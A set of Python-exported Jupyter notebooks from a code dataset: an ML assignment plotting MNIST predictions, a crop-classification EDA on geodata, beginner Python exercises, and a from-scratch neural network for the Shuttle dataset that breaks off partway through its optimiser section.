id=\"YrRYAx_dLMQH\" outputId=\"20a0c707-c695-49aa-8b0f-adfe9f418bf3\"\n# 1. Draw training loss curve\nfig = plt.figure(figsize=(12,8))\nplt.plot(train_counter, train_losses, label='Train loss')\nplt.plot([i * len(train_loader.dataset) for i in range(1, max_epochs + 1)],\n test_losses, label='Test loss', marker='o')\nplt.xlim(left=0)\nplt.ylim(bottom=0)\nplt.title('Loss curve', fontsize=24)\nplt.xlabel('Number of training examples seen', fontsize=16)\nplt.ylabel('NLL', fontsize=16)\nplt.legend(loc='upper right', fontsize=14)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 919} id=\"R3CYHubELMQH\" outputId=\"fae92fbd-065e-4e34-d5b7-d629f17fc7b1\"\n# 2. Show the predictions of the first 20 images of the test dataset\nimages, labels = next(iter(test_loader))\n\nimages, labels = images.to(DEVICE), labels.to(DEVICE)\n\noutput = model(images)\npred = output.argmax(dim=1)\n\nfig = plt.figure(figsize=(12, 11))\n\n# ------------------\n# Write your implementation here. Use the code provided in Part 0 to visualize the images.\n\nfor i in range(0, 20):\n plt.subplot(4, 5, i+1)\n img = images[i].cpu().numpy()\n plt.imshow(img.transpose((1, 2, 0)), cmap='gray', interpolation='none')\n plt.title(f'Label: {labels[i]}', fontsize=14)\n plt.axis('off')\n\n# ------------------\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 941} id=\"wHVeHsfbLMQI\" outputId=\"ba1dec5b-782e-499a-8984-b3746a5a54a0\"\n# 3. Get 20 incorrect predictions in test dataset\n\n# Collect the images, predictions, labels for the first 20 incorrect predictions\n# Initialize empty tensors and then keep appending to the tensor.\n# Make sure that the first dimension of the tensors is the total number of incorrect\n# predictions seen so far\n# Ex) incorrect_imgs should be of shape i x C x H x W, where i is the total number of\n# incorrect images so far.\nincorrect_imgs = []\nincorrect_preds = []\nincorrect_labels = []\n\nwith torch.no_grad():\n # Test set iterator\n it = iter(test_loader)\n # Loop over the test set batches until incorrect_imgs.size(0) >= 20\n while len(incorrect_imgs) < 20:\n images, labels = next(it)\n images, labels = images.to(DEVICE), labels.to(DEVICE)\n\n # ------------------\n # Write your implementation here.\n\n output = model(images)\n pred = output.argmax(dim=1, keepdim=True)\n\n mismatches = pred.squeeze() != labels\n\n for img, p, l in zip(images[mismatches], pred[mismatches], labels[mismatches]):\n if len(incorrect_imgs) < 20:\n incorrect_imgs.append(img)\n incorrect_preds.append(p)\n incorrect_labels.append(l)\n else:\n break\n\n # ------------------\n# Show the first 20 wrong predictions in test set\nfig = plt.figure(figsize=(12, 11))\nfor i in range(20):\n plt.subplot(4, 5, i+1)\n plt.imshow(incorrect_imgs[i].squeeze().cpu().numpy(), cmap='gray', interpolation='none')\n plt.title(f'Prediction: {incorrect_preds[i].item()}\\nLabel: {incorrect_labels[i].item()}', fontsize=14)\n plt.axis('off')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Qzy6XIFmeJVl\" outputId=\"69f6f091-9192-4afa-c5c6-176bc82a0d9e\"\ntrain_loss, train_accuracy = test_one_epoch(train_loader, model, DEVICE)\ntest_loss, test_accuracy = test_one_epoch(test_loader, model, DEVICE)\n\nprint(f\"Training Data: Loss = {train_loss}, Accuracy = {(train_accuracy/len(train_loader.dataset)) * 100}%\")\nprint(f\"Test Data: Loss = {test_loss}, Accuracy = {(test_accuracy/len(test_loader.dataset)) * 100}%\")\n\n# + id=\"WrMRp5kKfsRM\"\n\n","repo_name":"jaynanduri/ML-assignments","sub_path":"a4/PS4_Problem2.ipynb","file_name":"PS4_Problem2.ipynb","file_ext":"py","file_size_in_byte":13670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"40418186328","text":"# # EDA\n\n# ## Include libraries\n\n# +\nimport ast\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom area import area\n\n# %matplotlib inline\n\n# +\npd.set_option('display.max_rows', 50)\npd.set_option('display.max_columns', 100)\n\nMAIN_COLOR = 'forestgreen'\n# -\n\n# ## Load data and first look\n\ndf = pd.read_csv(\"train_dataset_train.csv\")\n\ndf.head(3)\n\ndf.info()\n\ndf[df['.geo'].duplicated()]\n\n# ## Preprocess\n\ndf['.geo'].iloc[0]\n\ndf['.geo_shape'] = df['.geo'].apply(lambda x: ast.literal_eval(x)['type'])\ndf['.geo_shape'].value_counts()\n\ndf[['id', '.geo_shape', 'crop']].groupby(['.geo_shape', 'crop']).agg('count')\n\ndf['.geo'].apply(lambda x: ast.literal_eval(x).keys()).value_counts()\n\n# `GeometryCollection` has many of geometries\n\ndf[df['.geo_shape'] == 'GeometryCollection']['.geo'].iloc[0]\n\ndf[df['.geo_shape'] == 'GeometryCollection']['.geo'].apply(lambda x: len(ast.literal_eval(x)['geometries']))\n\ndf[df['.geo_shape'] == 'GeometryCollection']['.geo'].apply(lambda x: [l['type'] for l in ast.literal_eval(x)['geometries']])\n\n# Get latitude and longitude\n\ndf['.geo_lat'] = df['.geo'].apply(lambda x: \n ( \n ast.literal_eval(x)['coordinates'][0][0][0][0] \n if isinstance(ast.literal_eval(x)['coordinates'][0][0][0], list) \n else ast.literal_eval(x)['coordinates'][0][0][0]\n )\n if ast.literal_eval(x).get('coordinates')\n else ast.literal_eval(x)['geometries'][0]['coordinates'][0][0]\n )\ndf['.geo_lon'] = df['.geo'].apply(lambda x: \n (\n ast.literal_eval(x)['coordinates'][0][0][0][1] \n if isinstance(ast.literal_eval(x)['coordinates'][0][0][1], list) \n else ast.literal_eval(x)['coordinates'][0][0][1]\n )\n if ast.literal_eval(x).get('coordinates')\n else ast.literal_eval(x)['geometries'][0]['coordinates'][0][1]\n )\ndf['.geo_zone'] = 0\ndf.loc[(df['.geo_lat'] < 35.5) & (df['.geo_lon'] < 54), '.geo_zone'] = 1\ndf.loc[(df['.geo_lat'] > 35.5) & (df['.geo_lat'] < 38) & (df['.geo_lon'] < 54), '.geo_zone'] = 2\ndf.loc[(df['.geo_lat'] > 38) & (df['.geo_lat'] < 44) & (df['.geo_lon'] < 52.5), '.geo_zone'] = 3\ndf.loc[(df['.geo_lat'] > 43) & (df['.geo_lat'] < 47) & (df['.geo_lon'] > 54), '.geo_zone'] = 4\ndf.loc[(df['.geo_lat'] > 47), '.geo_zone'] = 5\ndf['.geo_zone'].value_counts()\n\n# Area calculating\n\ndf['.geo_area'] = df['.geo'].apply(lambda x: area(ast.literal_eval(x))) / 10000\n\n# Count of missing NDVI and max NDVI\n\nndvi_columns = [nd for nd in df.columns if 'nd_mean' in nd]\ndf['ndvi_miss_count'] = df[ndvi_columns].eq(0).sum(axis=1)\ndf['ndvi_max'] = df[ndvi_columns].max(axis=1)\ndf['ndvi_min'] = df[df != 0][ndvi_columns].min(axis=1)\ndf['ndvi_mean'] = df[df != 0][ndvi_columns].mean(axis=1)\n\n\n# ## EDA\n\n# +\n\ndef plot_dist(data, title='', xlabel='', ylabel='', binstep=0.05, figsize=(20,8)):\n ''' Plot histogram and boxplot '''\n\n _, (ax1, ax2) = plt.subplots(\n nrows=2, ncols=1,\n figsize=figsize\n )\n\n xticks_range = np.arange(data.min(), data.max() + 2*binstep, binstep)\n\n #ax1.hist(data, bins=np.arange(data.min(), data.max())-0.5, color='darkviolet', edgecolor='black')\n sns.histplot(data, bins=xticks_range - 0.5*binstep, color = MAIN_COLOR, ax = ax1)\n #ax2.boxplot(data.values, vert=False)\n sns.boxplot(x=data, color = MAIN_COLOR, ax = ax2)\n\n ax1.axvline(x=data.mean(), color='r', linestyle='-', label = 'Mean = {:.2f}'.format(data.mean()))\n ax1.axvline(x=data.median(), color='darkviolet', linestyle='-', label = 'Median = {:.2f}'.format(data.median()))\n\n q1, q3 = np.percentile(data.dropna(), [25 ,75])\n iqr = q3 - q1\n loval = q1 - 1.5 * iqr\n hival = q3 + 1.5 * iqr\n wiskhi = np.compress(data.values <= hival, data.values)\n wisklo = np.compress(data.values >= loval, data.values)\n actual_hival = np.max(wiskhi)\n actual_loval = np.min(wisklo)\n\n ax1.axvline(x=q1, color='cyan', linestyle='-', label = '25% = {:.2f}'.format(q1))\n ax1.axvline(x=q3, color='b', linestyle='-', label = '75% = {:.2f}'.format(q3))\n ax1.axvline(x=actual_loval, color='hotpink', linestyle='-', label = 'Q1 - IQR*1.5 = {:.2f}'.format(actual_loval))\n ax1.axvline(x=actual_hival, color='darkorange', linestyle='-', label = 'Q3 + IQR*1.5 = {:.2f}'.format(actual_hival))\n ax1.legend(loc='upper right', fontsize=8)\n\n ax1.set_xticks(xticks_range)\n ax1.xaxis.set_tick_params(labelsize=8)\n ax1.yaxis.set_tick_params(labelsize=8)\n ax1.set_title(title, fontsize=12)\n ax1.set_xlabel(xlabel, fontsize=10)\n ax1.set_ylabel(ylabel, fontsize=10)\n ax1.grid(axis='y')\n\n ax2.set_xlim(ax1.get_xlim()) # sync 'x' axis of axes\n ax2.set_xticks(xticks_range)\n ax2.xaxis.set_tick_params(labelsize=8)\n ax2.yaxis.set_tick_params(labelsize=8)\n ax2.set_xlabel(xlabel, fontsize=10)\n ax2.grid()\n\n plt.show()\n\n\n# -\n\ndf.describe()\n\n# ### Target\n\ndf['crop'].value_counts()\n\n# ### ID\n\ndf['id'].value_counts()\n\n# ndvi_max\n\ndata = df['ndvi_max']\nplot_dist(data, title='-', xlabel='-', binstep=0.01)\n\n#\n\ndata = df['ndvi_mean']\nplot_dist(data, title='-', xlabel='-', binstep=0.01)\n\n#\n\ndata = df['ndvi_miss_count']\nplot_dist(data, title='-', xlabel='-', binstep=1.0)\n\ncorrMatrix = df[['area', '.geo_area', '.geo_lat', '.geo_lon', 'ndvi_miss_count',\n 'ndvi_max', 'ndvi_mean', '.geo_zone', 'crop']].corr(method='pearson', min_periods=1)\nplt.figure(figsize=(12,6))\n# Generate a mask for the upper triangle\nmask = np.triu(np.ones_like(corrMatrix, dtype=bool))\nax = sns.heatmap(corrMatrix, annot=True, mask=mask, cbar_kws={\"shrink\": .5}, cmap='coolwarm')\nplt.show()\n\n\n\n\n\n\n\n\n","repo_name":"brut0/agroculture-classification-innopolis","sub_path":"EDA.ipynb","file_name":"EDA.ipynb","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"24814712208","text":"# ---Assuming that we have some email addresses in the \"username@companyname.com\" format, please write program\n# to print the company name of a given email address. Both user names and company names are composed of letters\n# only.\n# Input Format:\n# The first line of the input contains an email address.\n# Output Format:\n# Print the company name in single line.\n#\n# ---Write a program that accepts a comma-separated sequence of words as input and prints the words in a comma\n# separated sequence after sorting them alphabetically.\n# Input Format:\n# The first line of input contains words separated by the comma.\n# Output Format:\n# Print the sorted words separated by the comma. \n#\n# ---Create your own Jupyter Notebook for Sets.\n#\n# ---Given a list of n-1 numbers ranging from 1 to n, your task is to find the missing number. There are no duplicates.\n# Input Format:\n# The first line contains n-1 numbers with each number separated by a space.\n# Output Format:\n# Print the missing number\n#\n#\n# ---With a given list L, write a program to print this list L after removing all duplicate values with original order reserved.\n#\n\n# +\n## Question 1\n\n\nemail = input('enter your email address: ')\ne = email.split('@')[1]\ne.split('.com')[0]\n\n# +\n## Question 2\n\nwords = input(\"enter the words you want to sort: \").split(',')\nlst = list(words)\nprint(lst)\nprint(sorted(lst))\n\n# +\n## Question 3\n\n# Set\n# ---A set is a collection which is unordered and unindexed. In Python sets are written with curly brackets.\n\n\n\n### to create a set\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nprint(example)\n\n# --sets are unordered hence there is no specific order for the values so to access items we cannot use index....\n\n# ---we can also create a set using set constructor()\n\nexampleset = set((\"apple\", \"banana\", \"cherry\")) # note the double round-brackets\nprint(exampleset)\n\n\n### to acess items\n\n# to acess sets we use loops\n\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nfor x in example:\n print(x)\n \n \n### to check the items in the set\n\nexampleset = {\"apple\", \"banana\", \"cherry\"}\nprint(\"banana\" in exampleset)\n\n### to add the items\n\n# --- we cannot change items in set but we can add items into the set by the keyword add(). \n# To add multiple words we use update()\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nexample.add(\"orange\")\nprint(example)\n# _________________\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nexample.update([\"orange\", \"mango\", \"grapes\"])\nprint(example)\n\n\n### number of words in a set\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nprint(len(example))\n\n\n### to remove items in set\n\n# ---- we can remove items in a set. but if the item we want remove is not in the set then it shows an error.\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nexample.remove(\"banana\")\nprint(example)\n\n# ---- we can also use the key word discardin plaxce of remove. we cvan also use the key word pop to \n# only remove the last word, but as they are unordered we dont know which item it will remove. \n\n### to delete the total set\n# ----we use clr() method to remove all the elements in it.we use del word also in place of clr()\n\nexample = {\"apple\", \"banana\", \"cherry\"}\nexample.clear()\nprint(example)\n\n### to join 2 sets\n\n# ----There are several ways to join two or more sets in Python. if we use union() then it will create a new set \n# jioning the parent sets. but if we use update()then it will join the 2 sets into one of the parent set. \n# here these two functions exclude the duplicate items.\n\n# ----union()\nset1 = {\"a\", \"b\" , \"c\"}\nset2 = {1, 2, 3}\nset3 = set1.union(set2)\nprint(set3)\n\n# ---update()\nset1 = {\"a\", \"b\" , \"c\"}\nset2 = {1, 2, 3}\nset1.update(set2)\nprint(set1)\n\n\n# +\n### Question 4\n\ndef missing(list):\n return sorted(set(range(lst[0], lst[-1])) - set(lst)) \n\nlst = list(map(int, input(\"Enter the list numbers separated by space \").strip().split()))\nprint(\"User List: \", lst)\ny = missing(lst)\nprint(y)\n\n\n# +\n### Question 5\n\ndef delete_extra(list):\n final = []\n for i in list:\n if i not in final:\n final.append(i) \n return final\n\nlst = list(map(int, input(\"Enter the list numbers separated by space \").strip().split()))\ny = delete_extra(lst)\nprint(y)\n# -\n\n\n","repo_name":"Rowdie-Padma/letsupgrade_AI-ML","sub_path":"Assignment day 6.ipynb","file_name":"Assignment day 6.ipynb","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"13793782115","text":"# Dataset and problem statement: \"https://archive.ics.uci.edu/ml/datasets/Statlog+%28Shuttle%29\"
\n#
\n# $ \\underline{\\text{Reference}}: $
\n# Title: \"Neural Networks from Scratch in Python\"
\n# Authors: Harrison Kinsley & Daniel Kukieła
\n# Publisher: Harrison Kinsley, 2020\n\n# # $\\underline{\\text{Libraries \\& global contants}}$\n\n# +\nimport numpy as np\nimport matplotlib.pyplot as plt\nfont = {'fontname':'AppleGothic'}\n\n# Open and read file\ntrainingFile = open('shuttle.trn','r')\nlines = trainingFile.readlines()\nbatch = np.zeros((len(lines),9))\nclassfy = np.zeros(len(lines))\n\n# Set up input as a 2d array\nfor i in range(len(lines)):\n temp_str = lines[i].split(' ')\n classfy[i] = int(temp_str[-1])\n for j in range(9):\n batch[i,j] = int(temp_str[j])\n \n# Change category counting to start from 0 and convert to int\nclassfy = np.asarray(classfy, dtype = 'int') - 1\n\n# Open and read file\ntest_file = open('shuttle.tst','r')\nlines_tst = test_file.readlines()\nbatch_tst = np.zeros((len(lines_tst),9))\nclassfy_tst = np.zeros(len(lines_tst))\n\n# Set up input as a 2d array\nfor i in range(len(lines_tst)):\n temp_str = lines_tst[i].split(' ')\n classfy_tst[i] = int(temp_str[-1])\n for j in range(9):\n batch_tst[i,j] = int(temp_str[j])\n\n# Change category counting to start from 0 and convert to int\nclassfy_tst = np.asarray(classfy_tst, dtype = 'int') - 1\n\n\n# -\n\n# # $\\underline{\\text{Plotting Functions}}$\n\n# Plot accuracy error for a single model\ndef plot_acc_error(arr,title):\n num_plots = arr.shape[0]\n len = arr.shape[1]\n fig,ax = plt.subplots()\n for i in range(num_plots):\n ax.plot(np.array(range(0,len)),1-np.array(arr)[i],color='darkorange',linewidth=0.6)\n \n ax.set_title(title,**font,color='aliceblue')\n ax.set_ylabel(\"Percentage error\",**font,color='aliceblue')\n ax.set_xlabel('Epochs',**font,color='aliceblue')\n\n ax.set_yscale(\"log\")\n ax.set_facecolor('dimgray')\n fig.set_facecolor('dimgray')\n\n ax.tick_params(axis='y', colors='aliceblue')\n ax.tick_params(axis='x', colors='aliceblue')\n ax.spines['bottom'].set_color('aliceblue')\n ax.spines['left'].set_color('aliceblue')\n ax.spines['top'].set_color('dimgray')\n ax.spines['right'].set_color('dimgray')\n\n plt.show()\n\n\n# Plots accuracy error for 4 models for comparison reasons\ndef subplots_acc_error(arrays,titles):\n unused, num_models,num_epochs = arrays.shape\n epochs = np.array(range(0,num_epochs))\n fig,axs = plt.subplots(2,2, figsize=(10,10))\n for k in range(num_models):\n iter = 0\n for i in range(2):\n for j in range(2):\n # 1 - arrays[k] in order to get a percentage error\n axs[i, j].plot(epochs,1-arrays[iter,k],color='darkorange',linewidth=0.6)\n axs[i, j].set_title(titles[iter+1],**font,color='aliceblue')\n iter += 1\n\n fig.suptitle(titles[0],**font,color='aliceblue')\n fig.set_facecolor('dimgray')\n\n for ax in axs.flat:\n ax.set_yscale('log')\n ax.set_ylabel(\"Percentage error\",**font,color='aliceblue')\n ax.set_xlabel('Epochs',**font,color='aliceblue')\n ax.set_facecolor('dimgray')\n ax.tick_params(axis='y', colors='aliceblue')\n ax.tick_params(axis='x', colors='aliceblue')\n ax.spines['bottom'].set_color('aliceblue')\n ax.spines['left'].set_color('aliceblue')\n ax.spines['top'].set_color('dimgray')\n ax.spines['right'].set_color('dimgray')\n\n # Hide x labels and tick labels for top plots and y ticks for right plots.\n for ax in axs.flat:\n ax.label_outer()\n\n\n# # $\\underline{\\text{Fully Connected Layer}}$\n# $\\underline{\\text{Forward Function}}$: $ \\hspace{9cm} $
\n#
\n# $F(a)=\\bold{a} \\cdot x_0^T+x_1 \\hspace{9cm} $
\n# $\\text{Here, } x_0 \\text{ corresponds to the weights and } x_1 \\text{ to the biases and } a \\text{ corresponding to the 9 attributes recorded from the shuttle.}$
\n#
\n# $ \\underline{\\text{Partial derivatives of L1 and L2}} $
\n# $ L'_1(\\bold{x}) = \\lambda \\begin{cases}1&{\\text{if }}x_i>0,\\\\-1&{\\text{if }x_i\\le0}.\\end{cases} \\hspace{4cm} L'_2(\\bold{x})=2\\lambda x_i$
\n# $ \\text{Where the input } \\bold{x} \\text{ is either the weights or the biases and } i \\text{ is the index of these inouts} $\n\n# +\nclass Layer_FC: # Dense/fully connected\n\n def __init__(self,num_inputs,num_neurons,w_l1=0,w_l2=0,b_l1=0,b_l2=0):\n self.w = 0.01*np.random.randn(num_inputs,num_neurons)\n self.b = np.zeros((1,num_neurons))\n # Set regularization strength\n self.w_l1 = w_l1\n self.w_l2 = w_l2\n self.b_l1 = b_l1\n self.b_l2 = b_l2\n\n\n def forward(self,inputs):\n self.inputs = inputs\n self.output = np.dot(inputs,self.w) + self.b\n\n def backward(self,dvalues):\n # dvalues is the derivative from the next layer\n # Gradients on parameters\n self.dw = np.dot(self.inputs.T, dvalues)\n self.db = np.sum(dvalues,axis=0,keepdims=True)\n # Gradients on regularization\n if self.w_l1 > 0:\n dL1 = np.ones_like(self.w)\n dL1[self.w < 0] = -1\n self.dw += 2*self.w_l1*dL1\n \n if self.w_l2 > 0:\n self.dw += 2*self.w_l2*self.w\n \n if self.b_l1 > 0:\n dL1 = np.ones_like(self.b)\n dL1[self.b < 0] = -1\n self.db += 2*self.b_l1*dL1\n\n if self.b_l2 > 0:\n self.db += 2*self.b_l2*self.b\n\n # Gradient on values\n self.dinputs = np.dot(dvalues,self.w.T)\n\n# Dropout Layer Regularization\nclass Layer_Dropout:\n\n def __init__(self,rate):\n # Success rate:\n self.rate = 1 - rate\n\n def forward(self,inputs):\n # Save input values\n self.inputs = inputs\n # Generate and save scale mask\n self.binary_mask = np.random.binomial(1,self.rate,size=inputs.shape)/self.rate\n # Apply mask to output\n self.output = inputs*self.binary_mask\n\n def backward(self,dvalues):\n # Fradient on values\n self.dinputs = dvalues*self.binary_mask\n \n\n\n# -\n\n# # $\\underline{\\text{Activation Functions - Rectilinear and Softmax}}$\n\n# $ \\underline{\\text{Rectified Linear activation}}: \\hspace{2cm} \\underline{\\text{Softmax}}: $
\n# $\\displaystyle f(x)={\\begin{cases}x&{\\text{if }}x>0,\\\\0&{\\text{if }x\\le0}.\\end{cases}}$ $\\hspace{3cm} S_{i,j}=e^{z_i,j} /[ \\sum \\limits_{l=1}^{L}e^{z_i,l}]$
\n# $\\hspace{6cm}$ Softmax returns a probability distribution for each class
\n#
\n#
\n# $ \\underline{\\text{Derivative of ReLU activation}}: \\hspace{2cm} \\underline{\\text{Derivative of Softmax}}: $
\n# $ \\displaystyle \\frac{df}{dx} ={\\begin{cases}1&{\\text{if }}x>0,\\\\0&{\\text{if }x\\le0}.\\end{cases}} \\hspace{4cm} \\frac{\\partial S_{i,j}}{\\partial z_{i,k}} = {\\begin{cases}S_{i,j}\\cdot (1-S_{i,k})&{\\text{if }}j=k,\\\\-S_{i,j}\\cdot S_{i,k}&{\\text{if }j\\neq k}.\\end{cases}} = S_{i,j}\\cdot (\\delta_{j,k}-S_{i,k})$\n\n# +\n# Rectified linear activation function\nclass Activation_ReLU:\n\n def forward(self,inputs):\n self.inputs = inputs\n self.output = np.maximum(0,inputs)\n\n # Derivative of ReLU\n def backward(self,dvalues):\n self.dinputs = dvalues.copy()\n self.dinputs[self.inputs <= 0] = 0\n\n\n# Softmax activation for classification\nclass Activation_Softmax:\n\n def forward(self,inputs):\n # We take the subtraction of the max of the inputs to avoid \"exploding values\" and \"dead neurons\"\n exps = np.exp(inputs - np.max(inputs,axis=1,keepdims=True)) \n probabilities = exps/np.sum(exps,axis=1,keepdims=True)\n self.output = probabilities\n\n def backward(self,dvalues):\n # Uninitialised array\n self.dinputs = np.empty_like(dvalues)\n # Enumerate outputs and gradients\n for index,(single_output,single_dvalues) in enumerate(zip(self.output,dvalues)):\n # Flatten output array \n single_output = single_output.reshape(-1,1) # coloumn matrix\n jacobian = np.diagflat(single_output) - np.dot(single_output,single_output.T)\n # Calculate the sample-wise gradient and add to array of sample gradients\n self.dinputs[index] = np.dot(jacobian,single_dvalues)\n\n\n# -\n\n# # $\\underline{\\text{Loss Functions}}$\n\n# $\\underline{\\text{Categorical Cross-Entropy}}: \\hspace{7cm} \\underline{\\text{Derivative of Categorical Cross-Entropy}}:$
\n#
\n# $L_{i,j}=-\\sum \\limits_{j}y_{i,j}\\log(\\hat{y}_{i,j}) \\hspace{8cm} \\frac{\\partial L_i}{\\partial \\hat{y}_{i,j}}=-\\frac{y_{i,j}}{\\hat{y}_{i,j}}$
\n#
\n# Where $i$ is the $i^{\\text{th}}$ sample and $j$ is the index of the lables.
\n# $y_{i,j}$ is the actual/true prediction while $\\hat{y}$ is the predicted value.
\n#
\n# In this cases, we just take the log
\n# $L_i = - \\log(\\hat{y}_{i,k})$ where $k$ is the index of the true solution.
\n#
\n# $ \\underline{\\text{Derivative of Categorical Cross-Entropy loss function w.r.t Softmax inputs}} $
\n#
\n# $ \\frac{\\partial L_i}{\\partial z_{i,k}} = \\hat{y}_{i,k}-y_{i,k} $\n\n# +\nclass Loss:\n \n # Calculates mean value of all sample losses, given model output and ground truth\n def calculate(self,output,y):\n sample_losses = self.forward(output,y)\n data_loss = np.mean(sample_losses)\n return data_loss\n \n def regularization_loss(self,layer):\n # Initialise reg_loss\n reg_loss = 0\n\n # Calculates reg_loss if respective regulariztion strengths are greater than zero\n if layer.w_l1 > 0:\n reg_loss += layer.w_l1*np.sum(np.abs(layer.w))\n \n if layer.w_l2 > 0:\n reg_loss += layer.w_l2*np.sum(layer.w**2)\n\n if layer.b_l1 > 0:\n reg_loss += layer.b_l1*np.sum(np.abs(layer.b))\n \n if layer.b_l2 > 0:\n reg_loss += layer.b_l2*np.sum(layer.b**2)\n\n return reg_loss\n\n# Inherits Loss\nclass Loss_CategoricalCrossEntropy(Loss): \n \n def forward(self,y_pred,y_true):\n samples = len(y_pred)\n # CLip to prevent division by zero and clip both sides to drage mean to any value\n y_pred_clipped = np.clip(y_pred, 1e-7, 1 - 1e-7)\n # categorical labels\n if len(y_true.shape) == 1:\n correct_confidences = y_pred_clipped[\n range(samples),\n y_true\n ]\n # Mask values - only for one-hot encoded labels\n elif len(y_true.shape) == 2:\n correct_confidences = np.sum(\n y_pred_clipped* y_true,\n axis=1\n )\n # Losses\n negative_log_probabs = -np.log(correct_confidences)\n return negative_log_probabs\n \n def backward(self, dvalues, y_true): ### We gonna only use one sample... use integer encoding \n samples = len(dvalues)\n # Number of labels in every sample, we use the first one to count ????\n lables = len(dvalues[0])\n # If lables are sparse, turn them into one-hot vector??\n if len(y_true.shape) == 1:\n y_true = np.eye(lables)[y_true]\n # Calculate gradient\n self.dinputs = -y_true/dvalues\n # Normalise gradient\n self.dinputs = self.dinputs/samples\n\n\nclass Activation_Softmax_Loss_CategoryCrossEntropy():\n\n def __init__(self):\n self.activation = Activation_Softmax()\n self.loss = Loss_CategoricalCrossEntropy()\n \n def forward(self,inputs,y_true):\n # Output layer's activation function\n self.activation.forward(inputs)\n self.output = self.activation.output \n # Calculate and return loss value\n return self.loss.calculate(self.output,y_true)\n \n def backward(self, dvalues, y_true): ### We gonna only use one sample... use integer encoding \n samples = len(dvalues)\n # If lables are one-hot encoded, turn them into discrete values\n if len(y_true.shape) == 2:\n y_true = np.argmax(y_true, axis=1)\n self.dinputs = dvalues.copy()\n # Calculate gradient\n self.dinputs[range(samples),y_true] -= 1\n # Normalise gradient\n self.dinputs = self.dinputs/samples\n\n\n# -\n\n# # $ \\underline{\\text{Minimisation Methods}}: $\n# Regular line-search with decaying step:
\n# $\\bold{x}^{k+1}=\\bold{x}^{k}+s^k \\bold{d}^k$
\n# $s^{k+1}=s^{k}(1+\\alpha k)^{-1}$
\n# $ \\text{where} \\bold{x} \\text{ are the domain values (weights and biases), } s \\text{ is the step-size (learning rate) at iteration } k, \\alpha \\text{ is the decay rate and } \\bold{d}^k = -\\nabla(f(\\bold{x}^k))$
\n\n# Minimiser using line-search methods\nclass Optimizer:\n # Learning rate: stepsize = s\n # decay: reducing factor of stepsize (decay)\n\n # Call once, before any parameter update\n def pre_update_params(self):\n # Checks if decay is not zero\n if self.decay:\n self.current_step = self.current_step*(1/(1 + self.decay * self.iterations))\n\n def post_update(self):\n self.iterations += 1\n\n\n# #### $ \\underline{\\text{Stochastic Gradient Descent}} $\n# $ \\text{SGD with momentum:} $
\n# $\\bold{p^{k+1}} = \\gamma \\bold{p}^{k} +s^k \\bold{d}^k$
\n# $\\bold{x}^{k+1}=\\bold{x}^{k} + \\bold{p}^k$
\n# $\\gamma \\text{ is the fraction of previous search direction, with the momentums of the inputs correspond to } \\bold{p}^k. \\text{Initially,} \\bold{p}^0=\\bold{0}$
\n\n# Inherits 'Optimizer'\nclass SGD(Optimizer):\n\n def __init__(self, step=0.02, decay=0, momentum=0.2):\n self.step = step\n self.current_step = step\n self.decay = decay\n self.iterations = 0\n self.momentum = momentum\n\n def update_params(self,layer):\n # if we decide to select a momentum that is not zero\n if self.momentum:\n # The update contains a portion of the gradient from preceding steps as our momentum (direction of previous changes) \n # and only a portion of the current gradient; together, these portions form the actual change to our parameters\n \n # If layer does not contain momentum arrays, create them filled with zeros of same shape as layer\n if not hasattr(layer,'w_momentums'):\n layer.w_momentums = np.zeros_like(layer.w)\n layer.b_momentums = np.zeros_like(layer.b)\n # Build weight update with momentum\n w_update = self.momentum*layer.w_momentums - self.current_step*layer.dw\n layer.w_momentums = w_update\n # Build bias update \n b_update = self.momentum*layer.b_momentums - self.current_step*layer.db\n layer.b_momentums = b_update \n # Vanilla SGD, without momentum\n else: \n w_update = -self.current_step*layer.dw\n b_update = -self.current_step*layer.db\n # Update weight and biases\n layer.w += w_update\n layer.b += b_update\n\n\n\n# #### $ \\underline{\\text{AdaGrad}} $\n# $ \\bold{c}^k = \\sum \\limits_{i=1}^k (\\bold{d}^k)^2 $
\n# $\\bold{x}^{k+1}=\\bold{x}^{k} + s^k\\bold{d}^k[\\sqrt{\\bold{c}^k + \\epsilon}]^{-1} $
\n# $ \\bold{c}^k \\text{corresponds to a } cache \\text{ where we sum the square of all previous gradients.} $\n\nclass AdaGrad(Optimizer):\n\n def __init__(self, step=0.02, decay=0, ε=1e-7):\n self.step = step\n self.current_step = step\n self.decay = decay\n self.iterations = 0\n self.ε = ε\n\n def update_params(self,layer): \n # If layer does not contain momentum arrays, create them filled with zeros of same shape as layer, same for bias_momentum\n if not hasattr(layer,'w_cache'):\n layer.w_cache = np.zeros_like(layer.w)\n layer.b_cache = np.zeros_like(layer.b)\n # Update cache with squared current gradients\n layer.w_cache += layer.dw**2\n layer.b_cache += layer.db**2\n # Vanilla SGD param update + normalisation with square root cache\n layer.w += -self.current_step*layer.dw/(np.sqrt(layer.w_cache)+self.ε)\n layer.b += -self.current_step*layer.db/(np.sqrt(layer.b_cache)+self.ε)\n \n\n\n# #### $ \\underline{\\text{Root Mean Square Propagation}} $\n#\n# $ \\bold{c}^{k+1} = \\alpha \\bold{c}^k + (1 - \\alpha) \\bold{d}^k \\bold{d}^{k^T} $
\n# $\\bold{x}^{k+1}=\\bold{x}^{k} + s^k\\bold{d}^k[\\sqrt{\\bold{c}^k + \\varepsilon}]^{-1} $
